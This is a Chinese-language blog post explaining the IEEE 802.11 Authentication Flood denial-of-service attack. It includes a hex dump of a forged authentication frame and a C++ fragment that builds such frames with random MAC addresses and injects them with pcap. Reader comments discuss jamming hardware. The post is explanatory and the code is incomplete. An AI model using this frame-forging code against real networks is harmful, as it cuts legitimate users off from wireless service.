IEEE 802.11 Denial-of-Service: Authentication Flood

这是另一个 IEEE 802.11 攻击的方法,算上前面两篇

就收集齐了 IEEE 802.11 中最简单的三种可用性攻击。这三种方法不涉及任何密码学的东西,仅仅需要靠近受害者的网络范围,然后嗅探到几个包就可以开始攻击,并且足以让被攻击的人完全用不了无线网络。

这篇 post 中所描述的 Authentication Flood 与第一个 Deauthentication Flood 相对应。Deauthentication Flood 是强制让一个 AP 上、已经建立 association 的 STA 断开,从而达到目的。而Authentication Flood 则是通过伪造一大堆请求认证的包(其实还有 Association Flood,与这篇 post 中的方法相似),来塞满 AP 中的 Authentication / Association table,这样,真正的用户只能等到这个表有空 entry 的时候才能和 AP 建立连接了。

Authentication Flood
Authentication Flood

上图中,Frame Control 的 Type 仍是 management,subtype 则是对应与 IEEE 802.11 - 2012 标准中 481 页,Authentication 子类别的值,'1011'。这里我们展示的是攻击 BSSID 为 '23:23:23:23:23:23' 的 AP,因此 Destination address 和 BSSID 部分都是 '23:23:23:23:23:23'(下方高亮标记部分)

0000   00 00 19 00 6F 08 00 00 D0 03 51 40 00 00 00 00
0010   10 02 6C 09 80 04 D3 A6 00 B0 00 3A 01 23 23 23
0020   23 23 23 54 11 0E 82 74 41 23 23 23 23 23 23 50
0030   0c 00 00 01 00 00 00 dd 09 00 10 18 02 00 00 00
0040   00 00 6b 90 DA 1C

夹在两个高亮标记之间的 6 字节,'54 11 0E 82 74 41',这个是我们随机产生的 MAC 地址,在开始 Authentication Flood 攻击之后,这些随机的 MAC 地址将会填满 AP 的 Authentication / Association table。(AP 内应该是有 timeout ,但是具体细节可能各厂商大概不同?这里我没有细看 IEEE 802.11 标准里有没有相关的说明)

因为前面只是声明了这个包的类别和子类,所以接下来是 body / payload,也就是 wireless LAN management frame 的部分

0000   00 00 19 00 6F 08 00 00 D0 03 51 40 00 00 00 00
0010   10 02 6C 09 80 04 D3 A6 00 B0 00 3A 01 23 23 23
0020   23 23 23 54 11 0E 82 74 41 23 23 23 23 23 23 50
0030   0c 00 00 01 00 00 00 dd 09 00 10 18 02 00 00 00
0040   00 00 6b 90 DA 1C
Wireless LAN Management Frame Payload
Wireless LAN Management Frame Payload

在这里,前 6 字节是固定参数,告知 AP 这次 Authentication 使用的算法、序号 (Authentication SEQ) 以及状态码。后面则是可选的 Tag 部分,携带了请求 Authentication 方的一些信息。在 AP 收到 Authentication 的请求之后,AP 则会将 Authentication SEQ 增加 1,回应一个包给发送者。然后等待发送者的新的消息,直到 timeout 之后,AP 才会给这个 MAC 发送一个 Deauthenticaion 的包,并将它从 table 中移除。

AP Response
AP Response

只要我们发送包的速度够快,我们就可以让 AP 的 Authentication / Association table 处于饱和状态,从而达到目的。

Authentication Flood 攻击的核心代码如下

static const auto AUTH_REQ =
    "\xB0\x00"                  /* Type: Management Subtype: Authentication */ \
    "\x3A\x01"                  /* Duration */ \
    "\xBB\xBB\xBB\xBB\xBB\xBB"  /* Destination MAC Address */ \
    "\xCC\xCC\xCC\xCC\xCC\xCC"  /* Transmitter MAC Address */ \
    "\xBB\xBB\xBB\xBB\xBB\xBB"  /* BSSID */ \
    "\x00\x00\x00\x00"          /* Sequence number & Fragment number */;
static const auto AUTH_FIXED =
    "\x00\x00"                  /* Authentication Algorithm */ \
    "\x01\x00"                  /* Authentication SEQ */ \
    "\x00\x00"                  /* Status Code */;
uint8_t * data = new (uint8_t [38]);

uint16_t header_len = 8;
memcpy(&data[2], &header_len, sizeof(uint16_t));
memcpy(&data[8], AUTH_REQ, 26);

MAC fakemac = MAC::random();
memcpy(&data[12], this->_ap->mac(), sizeof(uint8_t) * 6);
memcpy(&data[18], fakemac.mac(),    sizeof(uint8_t) * 6);
memcpy(&data[24], this->_ap->mac(), sizeof(uint8_t) * 6);
memcpy(&data[32], AUTH_FIXED, 6);
pcap_inject(pcap_handle, packet, 38);
delete [] packet;

5 thoughts on “IEEE 802.11 Denial-of-Service: Authentication Flood”

    1. 没看 mdk3 的坑,看的《Introduction to Network Security Theory and Practice》(这本书推荐~

      当然写个更狠的也没问题,只是公开这样的容易被利用~(虽然说网络上公开的已经有不少了,不过有些代码还是自己藏着好)

      最后好在 IEEE 802.11w 保护了 Deauthentication 的帧,剩下的 Beacon 和 Authentication 相比起来危害不那么大,这周末再写个好玩的吧w

    2. 还有一种要依赖硬件的攻击,然而并没有钱购入_(: 」∠)_

      基本就是像 关于TCP的三言两语 这篇 post 里说的,"无视 CSMA/CA 机制,甚至空闲时段也不断往外发数据包",没记错的话,业界好像是叫这个 Queensland Attack 来着(๑╹ω╹๑ )。

      不过普通的 Wi-Fi 芯片似乎都不支持 CW (Continuous Wave) 模式,用类似 HackRF 的硬件可以做到。可是并没有钱(°▽°)

Leave a Reply

Your email address will not be published. Required fields are marked *

sixteen + 16 =